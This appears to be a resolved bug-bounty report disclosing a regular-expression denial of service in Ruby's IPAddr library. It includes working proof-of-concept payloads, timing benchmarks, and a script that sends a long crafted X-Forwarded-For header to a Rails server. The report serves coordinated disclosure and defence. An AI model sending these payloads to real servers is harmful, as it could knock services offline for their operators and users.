ReDoS in IPAddr
R
Ruby
Submitted None
Actions:
Reported by
ooooooo_q
Vulnerability Details
Technical details and impact analysis
Hello, I found a pattern that occur ReDoS in `IPAddr.new`.
https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L525
```ruby
def mask!(mask)
case mask
when String
case mask
when /\A(0|[1-9]+\d*)\z/
prefixlen = mask.to_i
```
`/\A(0|[1-9]+\d*)\z/` is vulnerable.
It is a detect result by `recheck` ( https://makenowjust-labs.github.io/recheck/ ).
{F1624909}
https://github.com/ruby/ipaddr/blob/v1.2.4/lib/ipaddr.rb#L628
```ruby
def initialize(addr = '::', family = Socket::AF_UNSPEC)
...
prefix, prefixlen = addr.split('/', 2)
if prefix =~ /\A(.*)(%\w+)\z/
prefix = $1
zone_id = $2
family = Socket::AF_INET6
end
...
if prefixlen
mask!(prefixlen)
else
@mask_addr = (@family == Socket::AF_INET) ? IN4MASK : IN6MASK
end
end
```
`mask!` is used in `IPAddr.new`.
## PoC
```
❯ ruby -v
ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20]
❯ irb
irb(main):001:0> require 'time'
=> true
irb(main):002:0> IPAddr.new("0.0.0.0/" + '1' * 50000 + '.')
# => ReDoS (and raise ArgumentError)
```
It is also used by `coerce_other`, so it affects other methods as well.
```
IPAddr.new("192.168.2.0/24").include?("0.0.0.0/" + '1' * 50000 + '.' )
IPAddr.new("192.168.2.0/24") == "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") | "0.0.0.0/" + '1' * 50000 + '.'
IPAddr.new("192.168.2.0/24") & "0.0.0.0/" + '1' * 50000 + '.'
```
## benchmark
ipaddr_benchmark.rb
```ruby
require 'benchmark'
require 'ipaddr'
def ipaddr_new(length)
text = "0.0.0.0/" + '1' * length + '.'
IPAddr.new(text)
rescue IPAddr::InvalidAddressError
nil
end
Benchmark.bm do |x|
x.report { ipaddr_new(100) }
x.report { ipaddr_new(1000) }
x.report { ipaddr_new(10000) }
x.report { ipaddr_new(100000) }
end
```
```
❯ bundle exec ruby ipaddr_benchmark.rb
user system total real
0.000056 0.000003 0.000059 ( 0.000055)
0.002921 0.000003 0.002924 ( 0.002968)
0.300863 0.000694 0.301557 ( 0.302580)
31.050866 0.103006 31.153872 ( 31.255489)
```
---
## Rails
Since it is used in `ActionDispatch::RemoteIp`, it is possible to attack using custom headers.
https://github.com/rails/rails/blob/v7.0.2.2/actionpack/lib/action_dispatch/middleware/remote_ip.rb#L172
```ruby
private
def ips_from(header) # :doc:
return [] unless header
# Split the comma-separated list into an array of strings.
ips = header.strip.split(/[,\s]+/)
ips.select do |ip|
# Only return IPs that are valid according to the IPAddr#new method.
range = IPAddr.new(ip).to_range
# We want to make sure nobody is sneaking a netmask in.
range.begin == range.end
rescue ArgumentError
nil
end
end
```
### PoC
create rails server
```
❯ rails new rails_server -G -M -O -C -A -J -T
❯ cd rails_server
❯ bundle exec rails s
=> Booting Puma
=> Rails 7.0.2.2 application starting in development
=> Run `bin/rails server --help` for more startup options
Puma starting in single mode...
* Puma version: 5.6.2 (ruby 3.1.1-p18) ("Birdie's Version")
* Min threads: 5
* Max threads: 5
* Environment: development
* PID: 13989
* Listening on http://127.0.0.1:3000
* Listening on http://[::1]:3000
```
ipaddr_request.rb
```ruby
require 'net/http'
url = URI.parse('http://127.0.0.1:3000/')
req = Net::HTTP::Get.new(url.path)
req['X-Forwarded-For'] = "0.0.0.0/" + '1' * 80000 + '.'
res = Net::HTTP.start(url.host, url.port) {|http|
http.request(req)
}
```
```
❯ time bundle exec ruby ipaddr_request.rb
bundle exec ruby ipaddr_request.rb 0.18s user 0.08s system 0% cpu 40.302 total
```
## Impact
ReDoS occurs when `IPAddr.new` accepts user input.
Rails uses `ActionDispatch::RemoteIp` by default, so it can be attacked by a request from the client.
If using nginx etc., the header length is limited to about 8k bytes, so it seems to be less affected. ( https://stackoverflow.com/questions/686217/maximum-on-http-header-values )
On the other hand, puma is susceptible because it can be used up to 80 * 1024.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved